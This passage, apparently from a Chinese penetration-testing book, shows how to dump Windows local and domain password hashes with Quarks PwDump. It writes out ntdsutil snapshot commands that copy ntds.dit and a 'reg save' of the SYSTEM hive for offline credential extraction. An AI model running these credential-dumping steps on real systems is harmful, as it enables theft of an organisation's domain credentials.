1.3 使用Quarks PwDump获取域控密码

Quarks PwDump是Quarkslab出品的一款开源用户密码提取工具,目前最新版本为0.2b,其完整源代码可以从https://github.com/quarkslab/quarkspwdump获取,支持Windows XP/2003/Vista/7/2008且相当稳定。Quarks PwDump可以抓取Windows平台上多种类型的用户凭据,包括本地账户、域账户、缓存的域账户和Bitlocker。开发这个工具的目的是同时抓取所有类型的Hash和Bitlocker信息。

该工具源代码下载地址为https://codeload.github.com/quarkslab/quarkspwdump/zip/ master,目前可以导出以下信息。

1.3.1 使用Quarks PwDump获取本地账号的Hash值

Quarks PwDump必须在DOS命令提示符下运行。运行QuarksPwDumpv0.2b.exe,如图1-7所示,默认显示帮助信息,其参数含义如下。

0026-1

图1-7 使用Quarks PwDump获取本地账号的Hash值

1.3.2 使用Quarks PwDump导出账号实例

执行命令“QuarksPwDumpv0.2b.exe -dhl -o 1.txt”,将导出本地Hash值到当前目录下的1.txt文件。执行该命令会显示导出账号的数量,如图1-8所示,有3个账号的信息被导出,打开1.txt文件可以看到导出Hash值的具体账号和值。

0026-2

图1-8 导出本地账号信息

1.3.3 配合使用NTDSutil导出域控密码

NTDSutil是一个为Active Directory提供管理设施的命令行工具。可以使用NTDSutil执行Active Directory的数据库维护工作,管理和控制单个主机的操作,创建应用程序目录分区,以及删除因未使用Active Directory安装向导(DCPromo.exe)而成功降级的域控制器留下的元数据。NTDSutil还可以用来获取域控数据库文件ntds.dit,具体命令如下。

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit 
ntdsutil  snapshot  "mount {GUID}"  quit  quit 
0027-1

图1-9 导出快照文件

copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit 
ntdsutil  snapshot  "unmount {GUID}"  quit  quit  
ntdsutil  snapshot  "delete {GUID}"  quit  quit 

使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit”,将导出的ntds.dit文件中的Hash值全部导出,示例如下。

tdsutil  snapshot  "activate  instance  ntds"  create  quit  quit 
ntdsutil  snapshot  "mount {a0455f6c-40c3-4b56-80a0-80261471522c}"  quit  quit 
快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已挂接为 C:\$SNAP_201212082315_ 
VOLUM 
EC$\ 
copy  C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit  c:\ntds.dit 
ntdsutil  snapshot  "unmount {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}"  quit  quit 
ntdsutil  snapshot  "delete {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}"  quit  quit 
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit  

说明

获取Hash值最好在同一台服务器上执行,也就是说,将QuarksPwDump.exe直接放在导出ntds.dit文件的服务器上执行导出命令。如果仅将ntds.dit复制后下载到本地,可能会出现无法读取的错误。网上出现过一个ntds.dit密码快速提取工具NTDSDump,读者可以自己进行测试。如果想下载ntds.dit到本地进行恢复,还需要执行“reg save hklm\system system.hive”命令,将system.hive和ntds.dit全部复制到本地进行域控密码的获取。